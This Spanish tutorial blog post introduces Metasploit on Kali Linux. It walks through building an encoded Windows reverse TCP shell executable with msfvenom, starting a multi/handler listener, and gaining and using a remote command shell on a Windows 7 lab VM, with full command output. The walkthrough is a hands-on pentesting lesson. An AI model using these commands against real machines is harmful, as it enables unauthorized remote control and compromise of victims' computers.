Introducción a Metasploit. Como hacer un Reverse Shell.

Metasploit es una suite increíblemente potente, de eso os daréis cuenta enseguida.

Pero primero una anécdota, que ya veréis guarda relación con la entrada:

Recuerdo que ya hace años, un amigo, me conto, como a un amigo suyo le entró un hacker en su ordenador y se lo apagó remotamente. La conversación fue mas o menos así:

  • Amigo: Que sí, que te lo juro, de verdad, que lo conozco de verdad, no es una amigo de un amigo, es un amigo mio. Un vecino.
  • Yo: Va venga, vuelve a contarmelo que no lo pillo.
  • Amigo: Mi amigo, que sí, que de verdad existe, estaba trabajando con Excel en su casa, y de golpe le aparece una ventana de messenger, de un tío que va y le dice: Hola, soy un hacker.
  • Yo: Aja, ¿y? ¿Una ventana de messenger? ¿Estás seguro?
  • Amigo: Bueno, no se si era de messenger o no, pero vaya, que le sale un mensaje en el que le decía que era un hacker. Mi amigo le dice que no se lo cree y el otro le contesta que le va a apagar el ordenador y va y se lo apaga!!!!!
  • Yo: Pues si que es raro… y ¿qué hizo tu amigo?
  • Amigo: Pues se quedo acojonado, dice que desconecto el ordenador y todo!!!
  • Yo: Bueno, sí, vale, pero y ¿después?
  • Amigo: Ni idea! Hace días que no lo veo por la escalera, cuando le vea le pregunto. Pero me parece raro, porque el tio controla bastante de estas cosas. Sabe como entrar en wifis y todo eso.
  • Yo: Ahhh, vale. Pues que sepas que teneis un vecino que sabe mas que tu amigo.

Esta conversación es de hace muchos años, muchos. Los dos éramos desarrolladores que trabajabamos con Visual C++. Teníamos nuestros conocimientos, pero todo este mundo de entrar en ordenadores de otros nos parecía muy raro. La verdad es que no tenía ni idea de cómo le podía haber pasado esto al amigo / vecino de mi amigo. Ahora, después de conocer algunas herramientas como Metasploit empiezo a tener una idea mas clara de cómo pueden suceder estas cosas.

Pero ¿que es Metasploit?

Es la herramienta de todas las herramientas de los Penetration Testers. Es decir, la herramienta más usada por todos aquellos profesionales que se dedican a buscar agujeros de seguridad. Para que nos hagamos una idea el valor de la herramienta en su versión profesional debe estar alrededor de los 5.000$! Al Mes!!!! Toma Ya! Por suerte nosotros podemos apañarnos con la versión gratuita.

Empecemos

Abrimos un shell en nuestra máquina de linux. Lo primero es arrancar la base de datos:

service postgresql start

Como estamos trabajando con el Kali, que hemos instalado en el primer post del tutorial, ya tenemos Metasploit y postgresql instalado, pero es posible que no lo tengamos totalmente actualizado. Para eso corremos el comando:

msfupdate

Depende del tiempo que hayamos estado sin actualizar puede tardar unos minutos. En mi caso no han sido mas de 5 minutos, os dejo el resultado de lo que tendría que ser una actualización:

[*]
[*] Attempting to update the Metasploit Framework...
[*]
[*] Checking for updates via the APT repository
[*] Note: expect weekly(ish) updates using this method
[*] Updating to version 4.14.10-0kali1
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages were automatically installed and are no longer required:
linux-compiler-gcc-5-x86 linux-headers-4.6.0-kali1-amd64
linux-headers-4.6.0-kali1-common linux-image-4.6.0-kali1-amd64
linux-kbuild-4.6 php-common python-qrcode
Use 'apt autoremove' to remove them.
The following packages will be upgraded:
metasploit-framework
1 upgraded, 0 newly installed, 0 to remove and 511 not upgraded.
Need to get 93,1 MB of archives.
After this operation, 32,7 MB of additional disk space will be used.
Get:1 http://archive-4.kali.org/kali kali-rolling/main amd64 metasploit-framework amd64 4.14.10-0kali1 [93,1 MB]
Fetched 93,1 MB in 39s (2.365 kB/s)                                            
apt-listchanges: Reading changelogs...
(Reading database ... 384473 files and directories currently installed.)
Preparing to unpack .../metasploit-framework_4.14.10-0kali1_amd64.deb ...
Unpacking metasploit-framework (4.14.10-0kali1) over (4.14.1-0kali1) ...
Processing triggers for man-db (2.7.6.1-2) ...
Setting up metasploit-framework (4.14.10-0kali1) ...

No hace falta que actualicemos cada vez que arrancamos Metasploit, pero sí que es recomendable hacerlo de tanto en tanto, hacerlo mensualmente es mas que suficiente.

Ok! Ahora ya con Metasploit actualizado vamos a arrancarlo:

msfdb init
msfconsole

Con esto entraremos dentro de la consola de metasploit, aquí los comandos ya no son los de linux, tenemos que usar los de Metasploit. La consola vendra a ser algo parecido a:

wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.
(`.         ,-,
` `.    ,;' /
`.  ,'/ .'
`. X /.'
.-;--''--.._` ` (
.'            /   `
,           ` '   Q '
,         ,   `._    \
,.|         '     `-.;_'
:  . `  ;    `  ` --,.._;
' `    ,   )   .'
`._ ,  '   /_
; ,''-,;' ``-
``-..__``--`
http://metasploit.com
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit
=[ metasploit v4.14.10-dev                         ]
+ -- --=[ 1639 exploits - 944 auxiliary - 289 post        ]
+ -- --=[ 472 payloads - 40 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > 

En la parte superior veremos un dibujo, un pequeña broma de los desarrolladores de Metasploit, podemos ir viendo diferentes con el comando Banner.

msf > banner

Pero claro, cambiar el banner no es la finalidad de Metasploit. Continuemos explorando un poco. Vamos a usar Metasploit para configurar un ataque de Reverse Shell.

Reverse Shell con Metasploit

En un ataque de reverse shell necesitamos generar un fichero, que tiene que ejecutarse en la máquina víctima. Este ejecutable lo vamos a generar con Metasploit. La máquina atacada va a ser una máquina virtual que tengo configurada con Windows 7. Que está situada en la misma red que el laboratorio de Ciberseguridad que hemos montado con Kali.

En este ataque generamos un fichero para Windows, pero en Metasploit tenemos la posibilidad de generar ficheros para diferentes sistemas operativos, entre ellos Android o iOS. Lo importante es que una vez que la maquina victima lo ejecute, nosotros podremos controlar a esa máquina remotamente.

Usando un terminal de kali, generamos el fichero a ejecutar en la máquina víctima.

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.107 LPORT=21225 -b "\x00" -e x86/shikata_ga_nai -f exe -o ejecutame.exe

La IP usada es la de la máquina que va a tomar el control, es decir, la máquina atacante, en este caso la IP que tiene mi maquina virtual con Kali Linux. El fichero creado puede tener cualquier nombre, no hace falta que sea ejecutame.exe.

En el caso de que la ejecución del comando sea la correcta tendremos que ver algo como:

root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.107 LPORT=21225 -b "\x00" -e x86/shikata_ga_nai -f exe -o ejecu2.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: ejecu2.exe

Vamos a la consola de Metasploit y nos preparamos para empezar a tomar el control, para ello ejecutaremos los comandos:

use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.1.107
set LPORT 21225
exploit

Lo que hemos hecho es decirle a Metasploit que ejecute el exploit de reverse shell para windows con la dirección IP y puerto que anteriormente hemos indicado en la creación del fichero “virus”.

El fichero generado por msfvenom tenemos que copiarlo en nuestra maquina con Windows, y como no, ejecutarlo. Con esto la infectamos. Este es el punto más complicado, el hacer llegar el fichero a una máquina de nuestra red y que este se ejecute. Pero tendría que ser complicado tan solo si no tenemos autorización para hacerlo 🙂

Al ejecutar el fichero generado por msfvenom en Windows nos saldra un mensaje parecido a este.

Si todo ha funcionado bien tendriamos que estar ya dentro del disco duro de nuestra máquina víctima y podríamos empezar a lanzar comandos como si estuviéramos en ella.

En la Shell de Metasploit veremos algo parecido a:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
Payload options (windows/shell/reverse_tcp):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port
Exploit target:
Id  Name
--  ----
0   Wildcard Target
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107
msf exploit(handler) > set LPORT 21225
LPORT => 21225
msf exploit(handler) > EXPLOIT
[-] Unknown command: EXPLOIT.
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.1.107:21225 
[*] Starting the payload handler...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.106
[*] Command shell session 1 opened (192.168.1.107:21225 -> 192.168.1.106:49212) at 2017-04-17 04:00:03 -0400
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Users\IEUser\Downloads>

Ok! ¿Una vez llegado aquí qué podemos hacer? Pues casi cualquier cosa, es como si tenemos un terminal del Windows en nuestro Metasploit. Podemos navegar por el HD, crear directorios, ficheros, borrarlos… y mucho más podemos incluso resetear la máquina remotamente! Sí! Exactamente lo mismo que le pasó al amigo de mi amigo, que era su vecino :-).

Con shutdown -r realizamos reinicio remoto de la víctima.

Acabando

Es un ataque factible, la mayor dificultad es distribuir el fichero, y el disponer de una IP pública con la que montar el Reverse Shell si se pretende realizar este ataque fuera de nuestra red.

No sirve para entender que: TENEMOS QUE TENER MUCHO CUIDADO con las descargas, que alguien entre en nuestro ordenador no es tan complicado como parece. De nuevo, mucho cuidado con las WiFis a las que nos conectamos, y por favor, no robeis el WiFi del vecino, que como sea un poco hábil en estas cosas os puede amargar la vida.

Bonus Track

Como hay cosas que se entiende mucho mejor al ver cómo funcionan, he decidido realizar un vídeo de soporte. Ya que realmente queda bastante mas espectacular:

Recordad que este post forma parte del tutorial de Hacking / Pen Testing Básico

Comentarios.